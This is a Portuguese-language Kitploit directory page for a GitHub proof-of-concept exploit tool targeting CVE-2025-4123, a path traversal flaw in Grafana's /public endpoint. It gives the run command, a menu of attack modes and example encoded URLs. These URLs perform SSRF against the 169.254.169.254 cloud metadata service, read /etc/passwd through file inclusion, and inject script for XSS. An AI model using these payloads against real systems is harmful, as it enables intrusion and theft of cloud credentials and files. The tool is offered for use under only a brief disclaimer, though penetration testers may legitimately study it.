Skip to content
KitploitKITPLOIT
FerramentasExploitsBlog
Log in
Enviar
FerramentasExploitsBlog
Enviar

Ferramentas de Hacking, PenTest e Cibersegurança para o seu Arsenal de Segurança!

Kitploit é um diretório de ferramentas de hacking, cibersegurança e pentesting. Descubra as últimas atualizações de projetos para encontrar vulnerabilidades, analisar sistemas, automatizar testes e fortalecer sua segurança.

FeedsContatoPrivacidade© 2026 Kitploit

Diretório de Ferramentas

Categorias

Ver todas as categorias
Loading categories
CVE-2025-4123-Exploit-Tool-Grafana- — CVE-2025-4123 - Ferramenta Grafana | Kitploit
Ferramentas/GitHubGitHub/ynsmroztas/cve-2025-4123-exploit-tool-grafana-
Análise de VulnerabilidadesExploraçãoExploração de Aplicações WebTestes de PenetraçãoAprendizado e EducaçãoRed Teaming
GitHubynsmroztas/cve-2025-4123-exploit-tool-grafana-

CVE-2025-4123-Exploit-Tool-Grafana-

CVE-2025-4123 - Ferramenta Grafana

Ver Repositório
3263há 1 anoRevisado pelo Kitploit

Mais Populares

Ver todos →

Descubra as ferramentas mais usadas pela nossa comunidade.

Explore todas as ferramentas

Navegue pela nossa coleção de ferramentas

Ver todas as ferramentas →
Compartilhar

CVE-2025-4123 - Exploit de Path Traversal no Grafana

Desenvolvido por mitsec

Esta é uma ferramenta de exploração de prova de conceito (PoC) para o CVE-2025-4123, uma vulnerabilidade crítica de path traversal no endpoint /public do Grafana. A exploração permite:

  • ✅ Server-Side Request Forgery (SSRF)
  • ✅ Local File Inclusion (LFI)
  • ✅ Open Redirect
  • ✅ Cross-Site Scripting (XSS)

🔥 Afetados

Instâncias do Grafana com o endpoint /public/ que tratam incorretamente caminhos codificados como:

/public/..%2F%5coast.pro%2F%3f%2F..%2F..

🚀 Uso

python3 cve_2025_4123_exploit_mitsec_final.py

Em seguida, selecione o modo desejado:

  1. SSRF - Serviços internos como 169.254.169.254
  2. LFI - Ler arquivos como /etc/passwd
  3. Open Redirect - Redirecionar para domínios externos
  4. XSS - Injeção de JavaScript no caminho público

🧪 Exemplo

[*] SSRF URL: http://127.0.0.1:3000/public/..%2F%5C169.254.169.254/latest/meta-data/%2F%3f%2F..%2F..
[*] LFI URL:  http://127.0.0.1:3000/public/..%2F%5coast.pro%2F%3f%2F..%2F..%2F..%2Fetc%2Fpasswd
[*] XSS URL:  http://127.0.0.1:3000/public/%3Cscript%3Ealert('mitsec')%3C%2Fscript%3E

📄 Aviso Legal

Este código é fornecido apenas para fins educacionais e de teste autorizado. O uso não autorizado contra sistemas sem consentimento é ilegal.

✍️ Autor

  • mitsec
Baixar ferramenta